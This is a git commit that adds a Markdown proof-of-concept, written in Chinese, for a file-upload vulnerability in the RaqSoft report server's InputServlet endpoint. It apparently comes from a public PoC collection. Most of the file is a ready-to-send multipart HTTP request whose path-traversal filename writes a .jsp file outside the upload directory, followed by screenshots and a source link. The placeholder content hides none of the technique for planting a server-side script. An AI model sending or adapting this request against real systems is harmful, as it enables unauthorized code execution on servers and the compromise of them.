Create 润乾报表InputServlet接口存在文件上传漏洞.md

2024-04-08 09:41:06 +08:00 · 2024-04-08 09:41:06 +08:00 · ce9b57aeec
commit ce9b57aeec
parent ba37696e6e
1 changed files with 32 additions and 0 deletions
--- a/润乾报表InputServlet接口存在文件上传漏洞.md
+++ b/润乾报表InputServlet接口存在文件上传漏洞.md
@ -0,0 +1,32 @@
+## 润乾报表InputServlet接口存在文件上传漏洞
+
+环境：https://github.com/charlesvhe/raqsoft
+
+## poc
+```
+POST /InputServlet?action=12 HTTP/1.1
+Host: 127.0.0.1:8080
+Content-Type: multipart/form-data; boundary=--------------------------170005680039721412137562
+Accept-Encoding: gzip, deflate, br
+Content-Length: 2401
+
+----------------------------170005680039721412137562
+Content-Disposition: form-data; name="upsize"
+
+1024
+----------------------------170005680039721412137562
+Content-Disposition: form-data; name="file"; filename="/\..\\..\2.jsp"
+Content-Type: image/png
+
+11111
+----------------------------170005680039721412137562--
+
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/040e8f76-a72c-47db-a161-d14cab5db001)
+
+![image](https://github.com/wy876/POC/assets/139549762/bea567d7-6648-4cbe-990a-8fbb876d7660)
+
+
+## 漏洞来源
+- https://mp.weixin.qq.com/s/-u1fn_q4e-YhJUEqwNG1Zg